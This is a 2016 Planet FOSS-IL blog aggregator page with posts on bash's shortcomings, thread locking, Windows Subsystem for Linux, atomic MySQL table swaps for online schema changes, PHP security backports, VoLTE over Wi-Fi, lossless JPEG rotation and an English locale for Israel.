פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

26 May, 2016

Ilya Sher

Fundamental flaws of bash and its alternatives

pebbles-1335479_640

Quoting Steve Bourne from  An in-depth interview with Steve Bourne, creator of the Bourne shell, or sh:

I think you are going to see, as new environments are developed with new capabilities, scripting capabilities developed around them to make it easy to make them work.

Cloud happened since then. Unfortunately, I don’t see any shells that could be an adequate response to that. Such shell should at the very least have data structures. No, not like bash, I mean real data structures, nested, able to represent a JSON response from an API and having a sane syntax.

In many cases bash is the best tool for the job. Still, I do think that current shells are not a good fit for today’s problems I’m solving. It’s like the time has frozen for shells while everything else advanced for decades.

As a systems engineer, I feel that there is no adequate shell nor programming language exist for me to use.

Bash

Bash was designed decades ago. Nothing of what we expect from any modern programming language is not there and somehow I get the impression that it’s not expected from a shell. Looks like years changed many things around us and bash is not one of them. It changed very little.

Looks like it was designed to be an interactive shell while the language was a bit of afterthought. In practice it’s used not just as an interactive shell but as a programming language too.

What’s wrong with bash?

Sometimes I’m told that there is nothing wrong with Bash and another shell is not needed.

Even if we assume that nothing is wrong with Bash, there is nothing wrong with assembler and C languages either. Yet we have Ruby, Python, Java, Tcl, Perl, etc… . Productivity and other concerns might something to do with that I guess.

… except that there are so many things wrong with bash: syntax, error handling, completion, prompt, inadequate language, pitfalls, lack of data structures, and so on.

While jq is trying to compensate for lack of data structures can you imagine any “normal” programming language that would outsource handling of data? It’s insane.

Silently executing the rest of your code after an error by default. I don’t think this requires any further comments.

Do you really think that bash is the global maximum and we can’t do better decades later?

Over the years there were several attempts to make a better alternative to bash.

Project Focus on shell and shell UX Powerful programming language
Bash No No
Csh No No
Fish shell Yes No
Plumbum No Yes, Python
RC shell No No
sh No Yes, Python
Tclsh No Yes, Tcl
Zsh Yes No

You can take a look at more comprehensive comparison at Wikipedia.

Flaw in the alternatives

A shell or a programming language? All the alternatives I’ve seen till this day focus either on being a good interactive shell with a good UX or on using a powerful language. As you can see there is no “yes, yes” row in the table above and I’m not aware of any such project. Even if you find one, I bet it will have one of the problems I mention below.

Focusing on the language

The projects above that focus on the language choose existing languages to build on. This is understandable but wrong. Shell language was and should be a domain-specific language. If it’s not, the common tasks will be either too verbose or unnecessarily complex to express.

Some projects (not from the list above) choose bash compatible domain-specific language. I can not categorize these projects as “focused on the language” because I don’t think one can build a good language on top of bash-compatible syntax. In addition these projects did not do anything significant to make their language powerful.

Focusing on the interactive experience

Any projects that I have seen that focus on the shell and UX do neglect the language, using something inadequate instead of real, full language.

What’s not done

I haven’t seen any domain-specific language developed instead of what we have now. I mean a language designed from ground up to be used as a shell language, not just a domain-specific language that happened to be an easy-to-implement layer on top of an existing language.

Real solution

Do both good interactive experience and a good domain-specific language (not bash-compatible).

List of features I think should be included in a good shell: https://github.com/ilyash/ngs/blob/master/readme.md

Currently I’m using bash for what it’s good for and Python for the rest. A good shell would eliminate the need to use two separate tools.

The benefits of using a good shell over using one of the current shells plus a scripting language are:

Development process

With a good shell, you could start from a few commands and gradually grow your script. Today, when you start with a few commands you either rewrite everything later using some scripting language or get a big bash/zsh/… script which uses underpowered language and usually looks pretty bad.

Libraries

Same libraries available for both interactive and scripting tasks.

Error handling and interoperability

Having one language for your tasks simplifies greatly both the integration between pieces of your code and error handling.

Help needed

Please help to develop a better shell. I mean not an easy-to-implement, a good one, a shell that would make people productive and a joy to use. Contribute some code or tell your friend developers about this project.

https://github.com/ilyash/ngs/


I’m using Linux. I’m not using Windows and hope I will never have to do it. I don’t really know what’s going on there with shells and anyhow it is not very relevant to my world. I did take a brief look at Power Shell it it appears to have some good ideas.


26 May, 2016 04:26 AM

23 May, 2016

Ilya Sher

Small intro to threads, race conditions and locking

embroidery-987866_640

Programming with threads has some pitfalls. This post deals with the basic problem with concurrent code execution – race conditions.

Definitions

Code – part of a program

Threads – code executing in parallel (concurrently) with other code

Race condition (in our context) – several threads running in parallel and their overall result depends on the scheduling of the threads.

The problem

Below is a very small naive code that demonstrates the problem.

We have a global variable i which is incremented by several threads (which run concurrently). The code for incrementing i is i = i + 1 . Multiple threads executing the code below have a race condition. One would think that 100 threads doing such increment 100 times each would result i being 10000 at the end.

Incorrect code

THREADS = 100
ITERATIONS = 100

i=0
THREADS.ptimes(F() {
    for(j;ITERATIONS)
        i=i+1
})
echo(i)

Incorrect code explanation

The code is in the NGS language but the logic would be the same across many languages that have the same concurrency model: C, Java, etc.

Side note (skip freely):

This example would not apply to some languages which guarantee atomic variable increment. There would be no problem there. If we change the computation to something more complex, even in these languages we’re back to code similar to the above.

ptimes – “parallel times” function – runs the given code in parallel threads.

N.ptimes(code) – runs N threads executing code.

F() { ... } – literal function

for(j;N) – loops with values of j from zero to N (not including N). Sugar for for(j=0; j<N; j=j+1).

Code summary: in 100 parallel threads do i = i + 1 100 times in each thread.

Incorrect code output

The scheduling of the threads is done by the operating system. Since the scheduling is out of our control, the result is unpredictable when a race condition is present.

The output is actually about somewhere between 7900 and 8400 on my system, different each time I run this code, not the 10000 you might expect.

So, why the result of i = i + 1 is dependent on scheduling of the threads? Let’s examine the two following scheduling alternatives:

Incorrect code threads scheduling alternatives

Scheduling alternative A:

Thread 1 runs all the code (i = i + 1), then thread 2 runs all the code. No problem there. i would be incremented by 2.

Scheduling alternative B:

Thread 1 runs i + 1 : fetch the value of i and add one to it. Thread 2 also runs i + 1. Thread 1 saves the computed value of i + 1 to i. Then thread 2 does the same. The problem is that the fetched value of i was the same for both threads. Summary: both threads fetched the same value of i , incremented it and stored. Total increment of i is one.

Since scheduling A vs B have different outcomes, it’s a race condition, the output is unpredictable and sometimes incorrect. The incorrect code above is purposely such that the output is mostly incorrect.

Fixing the code

Add l = Lock() at the beginning of the code.

Replace i = i + 1 with l.acquire(F() i=i+1) .

Code explanation

Lock() – creates a new lock

l.acquire(code) – acquires the lock l, runs the code and releases the lock.

Locks

Locks provide a way to make sure that only one thread executes the given section of a code. In our case, using the lock allows only “Scheduling alternative A”.

When several threads try to acquire a lock simultaneously, only one will succeed and then enter the code. When this thread finishes executing the given code it releases the lock. After the lock is released, it can be acquired by another thread.

Any locking mechanism must be based on an atomic hardware operation such as Test-and-set or Compare-and-swap. Trying to come up with your implementation of a lock which is based on code only will not work, you will be shifting the race condition from one place to another.

Summary

Watch out for race conditions as they are a common problem when using threads. Use locks to avoid race conditions. For best performance the code which is run when holding a lock should be as small as possible.

See also:

  1. Concurrent data structures
  2. Message Passing Concurrency / Message passing
  3. Event Loop Concurrency

Full incorrect and correct code: https://github.com/ilyash/ngs/blob/6add46e6f60ce398f37f5138ece16cf8fdfd719b/c/demo/locks.ngs


23 May, 2016 04:28 AM

21 May, 2016

Amir Aharoni

I Deleted My Facebook Account

I used Facebook quite a lot. I posted lots of things, I got to know a lot of people, I learned about things that I wouldn’t learn anywhere else, I shared experiences.

But the feeling that I am the product and Facebook is the user got stronger and stronger as time passed. It happens with many other companies and products, but with Facebook it’s especially strong.

In February 2015 I stopped posting, sharing and liking, and I deleted Facebook apps from all my other devices. I continued occasionally reading and exchanging private messages in a private browser window.

Then I noticed that a few times things were shared in my name, and people liked them and commented on them. I am sure that I didn’t share them, and I am also quite sure that it wasn’t a virus (are there viruses that do such things on GNU/Linux?). Also, a few people told me that they received messages from me, and I’m sure that I didn’t send them; It’s possible that they saw something else under my name and thought that it’s a message even though it was something else, but in any case, nobody is supposed to think such a thing. That’s not how people are supposed to interact.

I am not a bug, not an A/B test, not a robot, not an integer in a database. I am Amir Aharoni and from today Facebook doesn’t use me. There are other and better ways to communicate with people.

Stop saying that “everybody is on Facebook”. I am not. I don’t feel exceptionally proud or special. I am not the only one who does this; a few of my friends did the same and didn’t write any blog posts or make any fuss about it.

You should delete your Facebook account, too.


Filed under: Facebook, Free Software, Internet

21 May, 2016 09:30 PM

Shachar Shemesh

על פטרת צפרניים ופרטיות

פוסט זה הוא תגובה לטור של ג׳קי לוי בישראל היום. מר לוי היקר, אני יהודי חרד. לא חרדי. אינני נוהג ללבוש שחורים, אפילו לא כאסטרטגיית דיאטה. את השקפתי הדתית ניתן לסכם במילה „אתאיסט”, אף כי אני מקיים באדיקות את הוראות מורינו הדגול רוג׳ר רביט (הוראות שמהכרותי עם הצדדים היותר פומביים של אישיותך, גם אתה לא […]

The post על פטרת צפרניים ופרטיות appeared first on לינוקס ותוכנה חופשית.

21 May, 2016 05:59 AM

10 May, 2016

Boris Shtrasman

windows subsystem for linux

אם כבר עברתי לצד האפל , חשבתי לעצמי אולי הבעיות בהן נתקלתי (חוסר תמיכה) יפתרו על ידי שימוש ב windows subsytem for linux.

הרי כבר הראתי שאם אני מפעיל מכונה וירטואלית ומעביר אליה התקן ניתן להשתמש בו מתוך המכונה,אז אולי אפשר לעשות את אותו הדבר ללא מכונה וירטואלית.

בשביל ההתקנה  יש לעבור ל developer mode ולהוריד preview (אני הלכתי על 14332) ,את ההורדה ביצעתי  באמצעות wget על וינדוס אבל אפשר גם דרך דפדפן.

בשביל להתקין תצטרכו לאשר את windows subsystem for linux תחת windows features בתוך programs and features.

לאחר איתחול הפעילו cmd ומתוכו הריצו bash וצרו משתמש (זאת כמובן אם אתם מסכימים לתנאי השימוש של ubuntu :) )




ההתקנה הולכת לתוך  %localAppData%\lxss אצלי היא לקחה 630 מ"ב .
מתחתיה התיקיות cache data home mnt root ו rootfs באופן מתפיע יש אפילו grub מותקן (רק שאני מאמין שאינו עוזר בשיט.

בשביל להסיר : lxrun.exe /uninistall

כמה דברים בסיסים להתחלה :

user@DELL-E6540:/proc$ uname -a
Linux DELL-E6540 3.4.0+ #1 PREEMPT Thu Aug 1 17:06:05 CST 2013 x86_64 x86_64 x86_64 GNU/Linux

user@DELL-E6540:/mnt/c$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"

user@DELL-E6540:/mnt/c$ mount
rootfs on / type rootfs (ro,relatime)
tmpfs on /dev type tmpfs (rw,seclabel,nosuid,relatime,mode=755)
devpts on /dev/pts type devpts (rw,seclabel,relatime,mode=600)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,seclabel,relatime)
user@DELL-E6540:/mnt/c$ sudo df -h
df: cannot read table of mounted file systems: No such file or directory


לצערי בגלל הבעיה של proc דברים אחרים חשובים אינם עובדים כמו lsusb ו lsmod (מה שמונע שימוש בדברים כמו wvdial למשל) .

התחלתי לוודא אילו כלים שהיום עובדים לי בwindows יעבוד מתוך ה subsystem.

netcat עובד.
telnet עובד.
git-svn אינו עובד (נתקע).
nmap אינו עובד (Problem binding to interface).
ping אינו עובד (icmp open socket: socket type not supported)

מה אני אגיד לכם שימוש ב msysgit ו gnuwin נותן יכולות טובות יותר נכון לעכשיו.

10 May, 2016 02:06 PM

09 May, 2016

Gabor Szabo

YouTube Channel at 1,000 subscribers

For the full article visit YouTube Channel at 1,000 subscribers

09 May, 2016 01:13 PM

04 May, 2016

Shlomi Noach

Solving the Facebook-OSC non-atomic table swap problem

We present a way to use an atomic, blocking table swap in the Facebook Online-Schema-Change solution, as well as in a rumored, other Online-Schema-rumored-Change solution. Update: also a caveat.

Quick recap (really quick)

pt-online-schema-change and facebook-osc are two popular online-schema-change solutions for MySQL. They both use triggers, but in different ways. While the Percona tool uses synchronous table updates, such that any INSERT|UPDATE|DELETE on the modified table causes an INSERT|UPDATE|DELETE on a ghost table, in the Facebook tool all cause an INSERT on a changelog table, which is then iterated, read, having entries applied on the ghost table.

The TL;DR is that DMLs on the table propagate synchronously, within same transaction in the Percona tool, and asynchronously, with lag, in the Facebook tool.

What's the problem with the table swap?

In the Percona tool, once the logic is satisfied the copy is complete, we issue this query:

RENAME TABLE tbl TO tbl_old, tbl_new TO tbl;

This is an atomic, two table RENAME operation.

However with the asynchronous nature of the Facebook tool, such a RENAME would be a mistake. We must first block writes to the modified table, then make sure we have iterated the changelog table to the point of lock, apply those changes onto the ghost table, and only then do the swap.

The problem is: you cannot RENAME TABLES while one of them is LOCKed.

This is silly, and inconsistent, because:

> LOCK TABLES tbl WRITE;
Query OK, 0 rows affected (0.00 sec)

> RENAME TABLE tbl TO tbl_old, tbl_new TO tbl;
ERROR 1192 (HY000): Can't execute the given command because you have active locked tables or an active transaction

> ALTER TABLE tbl RENAME TO tbl_old;
Query OK, 0 rows affected (0.00 sec)

Why would the RENAME fail where the ALTER works?

Small thing, but critical to the operation of the online-schema-change. From the Facebook OSC documentation:

Since alter table causes an implicit commit in innodb, innodb locks get released after the first alter table. So any transaction that sneaks in after the first alter table and before the second alter table gets a 'table not found' error. The second alter table is expected to be very fast though because copytable is not visible to other transactions and so there is no need to wait.

What the FB solution means

It means for a very brief duration, the table is not there. Your app will get errors.

Of course, we should be able to handle errors anytime, aywhere. But the honest truth is: we (as in the world) do not. Many apps will fail ungracefully should they get a table not found error.

An atomic swap, as compared, would make for briefly blocking operations, making the app ignorant of the swap.

Rumor

Rumor has it that we at GitHub are developing a new, triggerless, Online Schema Change tool. It is rumored to be based off binary logs and is rumored to have lots of interesting rumored implications.

Such rumored implementation would have to be asynchronous by nature, or so rumors say. And as such, it would fall for the same non-atomic table swap problem.

Solution

Once we heard it was rumored we were working on a triggerless online schema change tool, we realized we would have to solve the non-atomic swap problem. What we did was to gossip about it in between ourselves, which led to three different rumors of a solution, eventually manifested as three different working solutions. All three solutions make for blocking queries on the app's side. I will present one of these solution here, based on voluntary locks.

The idea is to make a table locked without actually issuing a LOCK TABLE statement, such that we would be able to run a RENAME TABLE operation, that would wait until we say it's good to complete.

Let's assume:

We issue the following, in this order:

  1. #1:
    SELECT GET_LOCK('ding', 0);

    Lock acquired, no problems

  2. #2:
    SELECT RELEASE_LOCK('ding') FROM tbl WHERE GET_LOCK('ding', 999999)>=0 LIMIT 1;

    Ignore the RELEASE_LOCK for now, this is merely cleanup. The query attempts to read one row from tbl where GET_LOCK('ding')>=0. But 'ding' is locked, hence the entire query blocks.
    Otherwise, other queries on tbl (both reads and writes) are running fine.

  3. #3:
    RENAME TABLE tbl TO tbl_old, tbl_new TO tbl;

    Now the magic begins. The RENAME operation cannot proceed while queries are executing on tbl. In particular, it waits on #2 to complete. But #2 is blocked on #1, so it does not complete. Our RENAME is also blocked!
    There are further two consequences that work to our advantage:

    • Any further incoming INSERT|UPDATE|DELETE on tbl is now unable to proceed; such queries will now wait for the RENAME to complete. So no further updated on tbl are being applied. App is blocked
    • tbl_new is nonblocked! And this is because how RENAME works internally. Since it couldn't satisfy the first clause, it doesn't even check for the second, and does not place a LOCK on tbl_new.
  4. OSC:
    Now that no further writes are possible on tbl, we satisfy ourselves that we've iterated to the last of the changelog entries and have applied changes to tbl_new. Exactly how we satisfy ourselves is a matter of implementation. Rumor is that we use a rumor that the last entry was handled in our rumored solution. That last part is actually not a pun.
    We are now content that all changes have been applied to tbl_new.
  5. #1:
    SELECT RELEASE_LOCK('ding');

    Ding! Connection #2 gets released, reads some row from tbl (but no one is actually interested in the result set) and completes. The #3 RENAME is not blocking on anything anymore. It executes. The tables are swapped. Once they are swapped, any INSERT|UPDATE|DELETEs that were pending on tbl are released and App is unblocked.
    The atomic swap is complete.

Implementation

Agony. This workaround is agonizing. Is agonization a word? By rumor written in Go, our OSC has this implemented via goroutines, and the code is one of those atrocities you are ashamed to look at. Well, it's OK under the circumstances. But really, implementing this is painful, and actually more complicated than the above description. Why is that?

In the above we make fro two blocking operations: #2 and #3. We must not proceed to #3 before #2 is applied, and we must not proceed to OSC completion before #3 is applied. But how does our code know that it's being blocked? If it's being blocked, it can't tell me anything, because it's blocked. If it's not blocked yet, it can tell me it's not blocked yet, but I'm really interested in knowing the time it gets blocked.

But preferably the exact time, or near exact, because one we start blocking, App suffers. Connections accumulate. We really want to make the swap as quick as possible (and by rumor we have a rollback & retry mechanism for this operation if it exceeds X seconds).

Unfortunately the solution involves polling. That is, Once we issue #2 (asynchronously, right? It's blocking), we aggressively poll SHOW PROCESSLIST and look for that blocked query. And the same for #3. Polling is a form of necessary ugliness in this flow.

Other solutions

The other two solutions do not use a voluntary lock. Instead:

  1. Use a LOCK on some yet another table and a query involving that table JOINed with tbl
  2. A SELECT ... FOR UPDATE on yet another table followed by a SELECT on the locked row on that table JOINed with tbl.

We leave the implementation as an exercise for the reader.

Can't we just make the RENAME work under LOCK?

Yeah. That's what the Facebook people said. "Hey, we can just fix this".

Update: caveat

Should connection #1 or connection #2 die unexpectedly before we are satisfied the events have all been applied, the `RENAME` gets unblocked due to the collapse of locks, and we end up with a premature swap of the tables, potentially before we have applied the latest entries from the changelog table. This was noted by my colleague Gillian Gunson, and we keep looking into this.

04 May, 2016 08:07 PM

01 May, 2016

Lior Kaplan

Backporting of PHP security fixes

4 months ago I wrote my thoughts about PHP support during the “PHP 5 support timeline” vote:

I think we should limit what we guarantee (meaning keeping only one year of security support till end of 2017), and encourage project members and the eco-system (e.g. Linux distributions) to maintain further security based on best effort.

This is already the case for out of official support releases like the 5.3 and 5.4 branches (examples for backports done by Debian: 5.3 and 5.4). And of course, we also have companies that make their money out of long term support (e.g. RedHat).

On the other hand, we should help the eco system in doing such extended support, and hosting backported fixes in the project’s git repo instead of having each Linux disto do the same patch work on its own.

But suggesting to others what they should do is easy, so I decided to finally find the time to also implement this myself. I’ve started with back porting PHP 5.5 fixes to PHP 5.4, resulting in a GitHub repository with all the fixes, including CVE info NEWS file entries and references to the original commits. See https://github.com/kaplanlior/php-src/commits/PHP-5.4-security-backports . I hope this would later on find it’s way into PHP LTS packages for Debian Wheezy.

Next step would be to start doing the same for PHP 5.3 (back porting from PHP 5.4, and later on also from PHP 5.5). This can be in use for RHEL 6.x (as LTS support for Debian Squeeze was recently finished).

The main idea of this repo, is to have a more central location for such work, hoping people would review and contribute fixes that should be taken into consideration.

During the process of digging into the CVE information and the commits, I’m also filling up a info such as CVE IDs to the NEWS file (e.g. https://github.com/php/php-src/pull/1892/files) and the web changelog (e.g. https://github.com/php/web-php/commits?author=kaplanlior), so users and researchers would find this info where it should be instead of digging themselves.


Filed under: Debian GNU/Linux, PHP

Full text

01 May, 2016 10:13 PM

30 April, 2016

Boris Shtrasman

VoLTE בקוד חופשי

כשאני חושב על האפשרוית שיש היום לגולן לצאת מהבעיה אליה נכנסה החברה אני חושב על פריסת נתבים  (או שימוש בנתבים של חברה מסויימת) ושימוש בנתבים כנקודות גישה ל LTE באמצעות מה שמכונה כ Offloading.

מדוע זה יענה על הצורך משרד התקשורת ? מכיוון ש EGAN מגדיר את ה WiFI כתשתית הרדיו שלו לאספקת שירות (RAN). הדרישה של משרד התקשורת לכיסויי ולאחזקה של אנטנות תענה. ועל הדרך גולן יקבל פריסת דור 4 ואפילו תמיכה ב VoLTE (שאני לא חושב שיש מישהוא שמספק את זה בארץ).

VoLTE הוא דרך (שיטה?) להעביר את המידע שבדר"כ עבר דרך circuit switch תחת תקשורת IP. כלומר דברים כמו קול , SMS ו הודעות broadcast עוברים באפיק הנתונים. כאשר עוברים להשתמש באפיק נתונים מקצה אל קצה הדבר מאפשר לתמוך באיכות קול גבוהה יותר (במקום להשתמש ב 3.5 קילו הרץ אנו משתמשים ב 16), לספק יותר שירותים חכמים ולייצר רווח על שירותים בהשקעה נמוכה.

אחד הדברים היפים ב VoLTE הוא העובדה שהכל עובר דרך אפיק הנתונים, מה שמבטל את הצורך האחרון להחזיק אנטנות מהסוג הישן. מספיק להחזיק רק אפיק של נתונים בשביל לספק את כל היכולות עבור LTE.

לשם ההתחלה ספק הטלפוניה יצטרך להקים תמיכה ב VoLTE בצד השרת, להקים שרתי דיאמטר,שרתי DNS ,  SIP ו XCAP.

לקוחות הקצה יוכלו לרכוש מכשירי סלולאר שתומכים ב VoLTE וגיקים כמוני ינסו להשתמש בזה דרך הכלים הפתוחים שיש ברשותינו.

מה שנזדקק לו זה:

  1. משהוא שיודע לבצע EAP-AKA לקוח ההזדהות שאנו משתמשים לו wifi הידוע כ wpa_supplicant יודע לבצע את זה בלי שום בעייה.

    קובץ ההגדרות יכול את ההגדרה הבאה עבור הרשת GolanOverWifi אם היא תתמוך בהזדהות EAP-AKA:

    #this may be added into /etc/wpa_supplicant.conf
    network={
    ssid="GolanOverWifi"
    key_mgmt=WPA-EAP
    eap=AKA
    pin="1234"
    pcsc="" # define as empty to allow pcsc usage (you are allowed to add args inside)
    }

  2. רכיב תוכנה שיודע לבצע זיהוי על גבי UICC - שד ברירת המחדל pcscd יודע לעשות זאת מצויין.

    מה שיהיה צריך לעשות זה לקחת קורא כרטיסים שנתמך בלינוקס ולהשתמש ב pcscd לקרוא את הנתונים ממנו.

    לאחר שחיברנו את קורא הכרטיסים למחשב והפעלת pcsc_scan נוודא שהכרטיס זוהה (פלט לדוגמא) :

  3. PC/SC device scanner
    V 1.4.26 (c) 2001-2011, Ludovic Rousseau <ludovic.rousseau@free.fr>
    Compiled with PC/SC lite version: 1.8.15
    Scanning present readers...
    0: Gemalto PC Twin Reader (70D7E2EE) 00 00

    Fri Apl 29 11:47:42 2016
    Reader 0: Gemalto PC Twin Reader (70D7E2EE) 00 00
    Card state: Card inserted,
    ATR: 3B 7E 13 00 00 00 6A 11 63 54 05 48 05 02 C6 01 22 90 00
    ATR: 3B 7E 13 00 00 00 6A 11 63 54 05 48 05 02 C6 01 22 90 00
    + TS = 3B --> Direct Convention
    + T0 = 7E, Y(1): 0111, K: 14 (historical bytes)
    TA(1) = 13 --> Fi=372, Di=4, 93 cycles/ETU
    43010 bits/s at 4 MHz, fMax for Fi = 5 MHz => 53763 bits/s
    TB(1) = 00 --> VPP is not electrically connected
    TC(1) = 00 --> Extra guard time: 0
    + Historical bytes: 00 6A 11 63 54 05 48 05 02 C6 01 22 90 00
    Category indicator byte: 00 (compact TLV data object)
    Tag: 6, len: A (pre-issuing data)
    Data: 11 63 54 05 48 05 02 C6 01
    Mandatory status indicator (3 last bytes)
    LCS (life card cycle): 22 (Proprietary)
    SW: 9000 (Normal processing.)

    Possibly identified card (using /home/user/.cache/smartcard_list.txt):
    3B 7E 13 00 00 00 6A 11 63 54 05 48 05 02 C6 01 22 90 00
    3B 7E 13 00 00 00 6A 11 63 54 05 48 .. .. .. 01 22 90 00




  4. לקוח SIP בעל הדרישות הבאות  :

    • לתמוך ב IPv4 ו IPv6
    • להחזיק לקוח XCAP  - לצערי linphone ו yate-qt אינם יודעים אבל jitsi יודע.
    • לקוח ה XCAP צריך לדעת לעבוד ללא chalange (לא יודע jitsi יודע או לא ) , לקוח ה SIP צריך לדעת להחליף את הזהות לזהות אותה קיבל לאחר ביצוע ה Register.

    • צריך לדעת לבצע register מחדש לאחר איבוד תקשורת (לא ראיתי את זה קורה ב yate-qt).
    • צריך לדעת לתמוך ב SIMPLE ו הודעות SM-IP  (למעשה מדובר על מקרה פרטי של 3428) )
    • צריך לדעת להוסיף את הכותרות  הבאות:

      phone-context  ו P-Aasserted-Identity ו P-Called-Party-ID. ולדעת להקים שיחה עם SIP-URI בצורה של MSISDN או של TEL.

      דוגמאות:

      sip:alphanumericusername@operator.tld

      sip:+33123456@free.fr;user=phone

      tel:+33123456;phone-context=free.fr

    • צריך לדעת להוסיף את ערך ה ICSI לשדה ה contact עם הכתובת הנגישה לרשת הסלולאר.דוגמא:

      Contact:sip:<+33123456@172.16.10.1:5060&gt
      ;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gppservice.ims.icsi.mmtel"


    • צריך לדעת לתמוך בשירותים הבאים (מינימום) :

      Originating Identification Presentation 3GPP TS 24.607 [23]
      Terminating Identification Presentation 3GPP TS 24.608 [24]
      Originating Identification Restriction 3GPP TS 24.607 [23] (Note 1)
      Terminating Identification Restriction 3GPP TS 24.608 [24] (Note 1)
      Communication Forwarding Unconditional 3GPP TS 24.604 [20] (Note 1)
      Communication Forwarding on not Logged in 3GPP TS 24.604 [20] (Note 1)
      Communication Forwarding on Busy 3GPP TS 24.604 [20] (Note 1)
      Communication Forwarding on not Reachable 3GPP TS 24.604 [20] (Note 1)
      Communication Forwarding on No Reply 3GPP TS 24.604 [20] (Note 1)
      Barring of All Incoming Calls 3GPP TS 24.611 [26] (Note 1)
      Barring of All Outgoing Calls 3GPP TS 24.611 [26] (Note 1)
      Barring of Outgoing International Calls 3GPP TS 24.611 [26] (Note 2)
      Barring of Outgoing International Calls – ex Home Country 3GPP TS 24.611 [26] (Note 2)
      Barring of Incoming Calls - When Roaming 3GPP TS 24.611 [26] (Note 1)
      Communication Hold 3GPP TS 24.610 [25]
      Message Waiting Indication 3GPP TS 24.606 [22] (Note 1)
      Communication Waiting 3GPP TS 24.615 [27] (Note 1)
      Ad-Hoc Multi Party Conference 3GPP TS 24.605 [21] (Note 1)

      למרות  שאני לא מכיר לקוחות SIP חופשיים שתומכים ב Bearing , אני לא חושב שזה יהיה נורא אם תהיה הצגה לא טובה של שם המשתמש המתקשר או אני אקבל הודעה שגויה אם לא הצלחתי להתקשר.

    • לקוח ה SIP צריך לדעת לתמוך בזימון אנשים להוסיף לשיחת וועידה (כבר קיים היום ) ב yate-qt לא יודע לגבי אחרים.

    • לקוח ה SIP רצוי שיידע לבצע פעולות כמו העברת שיחה ו History-Info.

    • לקוח ה SIP צריך לדעת לתמוך ב DTMF לפי נספח G
    • לקוח SIP שיודע לעבוד עם הקודקים AMR (כולל wideband).

אני לא מזכיר לקוח ANDSF מכיוון שאנחנו כבר מתחברים לרשת ידוע אז אין צורך לדרוש מהמשתמש שיעבור לרשת כיסויי אחרת.

ואם אני מבין נכון אז זה הכל, ככל אנדרויד עדכני תומך כמעט בהכול פה במידה ויהיה ביצוע offload כמו שצריך (עם כיסוי עירוני) אני מאמין שזה יענה על הצורך של גולן בכיסוי אנטנות (כי נתב מכיל אנטנות) ואם בזק תאפשר לנצל את משתמשיה שמפיצים גם ככה את הרשת Bezeq_Free יהיה כיסויי יחסית יפה.


שיטת ההזדהות לא שונה ממה שיש כיום והיא תראה בערך כך :



UE                   Bezeq Free Access Point     Bezeq Radius server              Translator        GT HSS
|<----WLAN registration--->| | | |
| | | | |
| --------EAP-AKA-------------------------------------->| | |
| | | ---Radius proxy the request->| |
| | | | ---Rad2Diam---->|
| | | |<--USIM register-|
| | |<--- USIM registration request| |
| <-------EAP-AKA---AUTH ACTIONs----------------------> | | |


אם זה נראה לכם כמו חור אבטחה לא קטן, זה בסדר גם ככה יש דרישה שהחברה (גולן) תעביר את המפתחות הפרטיים של הלקוחות שלהם (ככל הנראה שניתן יהיה להקים מרכז הזדהות עצמאי) כאן לפחות ינסו לסמוך על חברה ידועה ולא על גורם עלום שם שיקבל גישה לכלהמפתחות הפרטיים של הלקוחות.

הסיבה שצריך מתרגם , היא שככל הנראה פפקי תשתית הויפי מפעילים רדיוס אבל ב LTE אנו משתמשים בדיאמטר. ועל מנת להפוך הודעות מרדיוס ל דיאמטר צריך להשתמש ביישות שנקראת Diameter Translator.

30 April, 2016 09:34 AM

29 April, 2016

PyCon Israel

Meet our silver sponsors — Cloudify

Cloudify is an open-source Python Shop developing an orchestration framework for any cloud infrastructure provider allowing to use the…

29 April, 2016 08:55 AM

27 April, 2016

PyCon Israel

Meet our silver sponsors — Cisco!

We connect everything: people, processes, data, and things. We innovate everywhere, taking bold risks to shape the technologies that give…

27 April, 2016 07:46 PM

22 April, 2016

Shlomi Noach

MySQL Community Awards 2016: the Winners

The MySQL Community Awards initiative is an effort to acknowledge and thank individuals and corporates for their contributions to the MySQL ecosystem. It is a from-the-community, by-the-community and for-the-community effort. The committee is composed of an independent group of community members of different orientation and opinion, themselves past winners or known contributors to the community.

The 2016 community awards were presented on April 21st, 2016, during the keynotes at the Percona Live conference. The winners are:

MySQL Community Awards: Community Contributor of the year 2016

MySQL Community Awards: Application of the year 2016

MySQL Community Awards: Corporate Contributor of the year 2016

Congrats to all winners!

Committee members

Co-secretaries:

Special thanks

Thank you to this year's anonymous sponsor for donating the goblets!

Thank you to Colin Charles for acquiring and transporting the goblets!

 

22 April, 2016 05:03 PM

Guy Rutenberg

Lossless JPEG rotation

JPEG is a lossy format, and naive rotation results in a loss of quality. JPEG does allow some lossless operations, such as rotation by 90 degrees and flipping, on the basic blocks (MCUs) that compromise the image. It also allows re-arranging those blocks. Using this lossless operation, it is possible to preform a lossless JPEG rotation. To do so, the rotated image mus meet some basic criteria like having it size a multiple of the MCU size (usually 16×16).

Not all programs preform a lossless JPEG rotation, so it is useful to be aware which does. I check a couple of commonly used program to see if they indeed preform lossless rotation. The testing procedure was:

  1. Start with the original JPEG photo.
  2. Rotate it once to the right using each program.
  3. Rotate a copy of the rotated photo back to the right using the same program.
  4. Compare using ImageMagick (compare -metric ae) the results.

Results

Gnome’s Image Viewer 3.14.1 is lossless
Digikam (4.4.0) is lossless, however rotating with Digikam’s Image Editor is lossy.
Shotwell (0.20.1) does lossy rotation.

22 April, 2016 10:37 AM

en_IL: English locale for Israel

Update: The new locale was committed to glibc and should be part of glibc-2.24.

Most Israelis are literate in English, and for a large percentage of them, English is also the preferred language when it comes to computers. They prefer English, as it solves right-to-left issues and general inconsistencies (it might be annoying when some programs are translated ands some not). The downside is, that currently, the existing English locales are not suitable for Israel, as there are cultural differences:

So, up until now users had to choose locales such as en_US or en_GB and compromise on some stuff. To solve this issue, and create a truly suitable English locale for Israel, I wrote a localedef file for the en_IL locale.

To install the new locale, copy the en_IL file from the gist below and place under /usr/share/i18n/locales/en_IL (no extension). Next

# echo "en_IL.UTF-8 UTF-8" >> /usr/local/share/i18n/SUPPORTED

Now, complete the installation by running dpkg-reconfigure locales and enable en_IL.UTF-8 from the list, and set it as the default locale.

22 April, 2016 07:36 AM

14 April, 2016

Arie Skliarouk

LLS=LXC+LVM+Snapshots

